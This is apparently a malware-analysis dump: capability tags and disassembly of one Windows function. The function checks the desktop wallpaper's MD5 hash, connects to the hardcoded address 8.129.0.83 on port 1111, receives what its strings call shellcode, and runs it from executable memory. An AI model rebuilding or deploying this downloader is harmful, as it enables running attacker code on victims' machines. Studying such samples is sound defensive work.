Function at 0x4013f0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42fb57
mov eax, dword fs:[0]
push eax
mov eax, 0x24f4
call fcn.00419020
mov eax, dword [0x43ef44]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x2500], ecx
push 0x401b60
push 0x432938
push 0x443000
call fcn.004065d0
add esp, 8
mov ecx, eax
call fcn.00401ca0
push 0x401b60
push 0x432904
push 0x443000
call fcn.004065d0
add esp, 8
mov ecx, eax
call fcn.00401ca0
lea eax, [ebp - 0x2480]
push eax
call fcn.004010a0
add esp, 4
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x2480]
call fcn.00401c80
movzx ecx, al
test ecx, ecx
jne 0x4015d6
lea edx, [ebp - 0x2480]
push edx
lea eax, [ebp - 0x24b0]
push eax
call fcn.00401110
add esp, 8
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x24b0]
call fcn.00401c80
movzx ecx, al
test ecx, ecx
jne 0x4015a7
push 0x401b60
push 0x4328e8
push 0x443000
call fcn.004065d0
add esp, 8
mov ecx, eax
call fcn.00401ca0
push 0x401b60
lea edx, [ebp - 0x24b0]
push edx
push 0x4328cc
push 0x443000
call fcn.004065d0
add esp, 8
push eax
call fcn.00406950
add esp, 8
mov ecx, eax
call fcn.00401ca0
push 0x401b60
push 0x432894
push 0x443000
call fcn.004065d0
add esp, 8
mov ecx, eax
call fcn.00401ca0
push str.1780893bc0681b49b871a91be6fb7014
lea ecx, [ebp - 0x24cc]
call fcn.00401c20
mov byte [ebp - 4], 2
lea eax, [ebp - 0x24cc]
push eax
lea ecx, [ebp - 0x24b0]
push ecx
call fcn.00406c60
add esp, 8
movzx edx, al
test edx, edx
je 0x401578
push 0x401b60
push 0x432850
push 0x443000
call fcn.004065d0
add esp, 8
mov ecx, eax
call fcn.00401ca0
jmp 0x401596
push 0x401b60
push 0x432834
push 0x443000
call fcn.004065d0
add esp, 8
mov ecx, eax
call fcn.00401ca0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x24cc]
call fcn.00401c60
jmp 0x4015c5
push 0x401b60
push str.Error_calculating_MD5_hash.
push 0x442f68
call fcn.004065d0
add esp, 8
mov ecx, eax
call fcn.00401ca0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x24b0]
call fcn.00401c60
jmp 0x4015f4
push 0x401b60
push str.Error_getting_desktop_wallpaper_path.
push 0x442f68
call fcn.004065d0
add esp, 8
mov ecx, eax
call fcn.00401ca0
lea eax, [ebp - 0x1a4]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x40164f
push 0x401b60
push str.Failed_to_initialize_Winsock
push 0x442f68
call fcn.004065d0
add esp, 8
mov ecx, eax
call fcn.00401ca0
mov dword [ebp - 0x24d0], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2480]
call fcn.00402370
mov eax, dword [ebp - 0x24d0]
jmp 0x401b3c
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x444], eax
cmp dword [ebp - 0x444], 0xffffffff
jne 0x4016b5
push 0x401b60
push str.Failed_to_create_socket
push 0x442f68
call fcn.004065d0
add esp, 8
mov ecx, eax
call fcn.00401ca0
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov dword [ebp - 0x24d4], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2480]
call fcn.00402370
mov eax, dword [ebp - 0x24d4]
jmp 0x401b3c
mov word [ebp - 0x458], 2
push 0x457
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x456], ax
push str.8.129.0.83
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x454], eax
push 0x10
lea ecx, [ebp - 0x458]
push ecx
mov edx, dword [ebp - 0x444]
push edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x401754
push 0x401b60
push str.Failed_to_connect_to_server
push 0x442f68
call fcn.004065d0
add esp, 8
mov ecx, eax
call fcn.00401ca0
mov eax, dword [ebp - 0x444]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov dword [ebp - 0x24d8], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2480]
call fcn.00402370
mov eax, dword [ebp - 0x24d8]
jmp 0x401b3c
lea ecx, [ebp - 0x2490]
call fcn.00403250
mov byte [ebp - 4], 3
push 0
push 0x2000
lea ecx, [ebp - 0x2464]
push ecx
mov edx, dword [ebp - 0x444]
push edx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x2494], eax
cmp dword [ebp - 0x2494], 0
jle 0x4017c8
mov eax, dword [ebp - 0x2494]
lea ecx, [ebp + eax - 0x2464]
push ecx
lea edx, [ebp - 0x2464]
push edx
lea eax, [ebp - 0x24e0]
push eax
lea ecx, [ebp - 0x2490]
call fcn.004032a0
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
lea ecx, [ebp - 0x2490]
call fcn.00406d80
jmp 0x401763
cmp dword [ebp - 0x2494], 0xffffffff
jne 0x4017ef
push 0x401b60
push str.Error_receiving_data
push 0x442f68
call fcn.004065d0
add esp, 8
mov ecx, eax
call fcn.00401ca0
mov eax, dword [ebp - 0x444]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x45c], eax
cmp dword [ebp - 0x45c], 0
jne 0x401870
push 0x401b60
push str.Failed_to_load_kernel32.dll
push 0x442f68
call fcn.004065d0
add esp, 8
mov ecx, eax
call fcn.00401ca0
mov dword [ebp - 0x24e4], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x2490]
call fcn.00403280
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2480]
call fcn.00402370
mov eax, dword [ebp - 0x24e4]
jmp 0x401b3c
push 0x43273c
mov ecx, dword [ebp - 0x45c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 0
jne 0x4018e5
push 0x401b60
push str.Failed_to_get_VirtualAlloc_address
push 0x442f68
call fcn.004065d0
add esp, 8
mov ecx, eax
call fcn.00401ca0
mov dword [ebp - 0x24e8], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x2490]
call fcn.00403280
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2480]
call fcn.00402370
mov eax, dword [ebp - 0x24e8]
jmp 0x401b3c
push 0x43270c
mov edx, dword [ebp - 0x45c]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x440], eax
cmp dword [ebp - 0x440], 0
jne 0x40195a
push 0x401b60
push str.Failed_to_get_VirtualFree_address
push 0x442f68
call fcn.004065d0
add esp, 8
mov ecx, eax
call fcn.00401ca0
mov dword [ebp - 0x24ec], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x2490]
call fcn.00403280
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2480]
call fcn.00402370
mov eax, dword [ebp - 0x24ec]
jmp 0x401b3c
lea ecx, [ebp - 0x2490]
call fcn.00403310
movzx eax, al
test eax, eax
je 0x4019c0
push 0x401b60
push str.No_shellcode_data_received.
push 0x442f68
call fcn.004065d0
add esp, 8
mov ecx, eax
call fcn.00401ca0
mov dword [ebp - 0x24f0], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x2490]
call fcn.00403280
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2480]
call fcn.00402370
mov eax, dword [ebp - 0x24f0]
jmp 0x401b3c
push 0x40
push 0x1000
lea ecx, [ebp - 0x2490]
call fcn.004032d0
push eax
push 0
call dword [ebp - 0x1a8]
mov dword [ebp - 0x448], eax
cmp dword [ebp - 0x448], 0
jne 0x401a3e
push 0x401b60
push str.Failed_to_allocate_memory_for_shellcode
push 0x442f68
call fcn.004065d0
add esp, 8
mov ecx, eax
call fcn.00401ca0
mov dword [ebp - 0x24f4], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x2490]
call fcn.00403280
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2480]
call fcn.00402370
mov eax, dword [ebp - 0x24f4]
jmp 0x401b3c
lea ecx, [ebp - 0x2490]
call fcn.004032d0
push eax
push 0
lea ecx, [ebp - 0x2490]
call fcn.00403330
push eax
mov ecx, dword [ebp - 0x448]
push ecx
call fcn.00418cb0
add esp, 0xc
mov edx, dword [ebp - 0x448]
mov dword [ebp - 0x460], edx
call dword [ebp - 0x460]
push 0x8000
push 0
mov eax, dword [ebp - 0x448]
push eax
call dword [ebp - 0x440]
mov dword [ebp - 0x24f8], 0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x2490]
call fcn.00403280
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2480]
call fcn.00402370
mov eax, dword [ebp - 0x24f8]
jmp 0x401b3c
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004188ce
mov esp, ebp
pop ebp
ret